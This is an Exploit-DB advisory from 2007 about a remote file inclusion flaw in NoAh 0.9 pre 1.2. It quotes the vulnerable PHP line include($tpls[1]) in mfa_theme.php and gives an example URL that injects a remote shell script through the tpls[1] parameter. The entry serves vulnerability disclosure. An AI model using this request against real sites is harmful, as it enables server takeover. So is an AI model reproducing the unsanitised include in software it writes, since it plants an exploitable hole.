NoAh 0.9 pre 1.2 - 'mfa_theme.php' Remote File Inclusion

Author: kezzap66345
type: webapps
platform: php
port: 
date_added: 2007-05-05 
date_updated: 2016-09-30 
verified: 1 
codes: OSVDB-37656;CVE-2007-2572 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comnoah0.9_pre1.2.tar.gz

##############################################################################################
##############################################################################################
#NoAh 0.9 The PHP Content Architect <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:noah/modules/noevents/templates/mfa_theme.php
#
<?php include($tpls[1]); ?>
#
#BUG:
#
#Example:http://site.com/path/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=[[Sh3LL
Script]]
#
#Script Download
#############################################################################
#http://sourceforge.net/project/showfiles.php?group_id=131995&package_id=148681&release_id=318628
##############################################################################################
#
#kezzap66345@hotmail.com
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-06]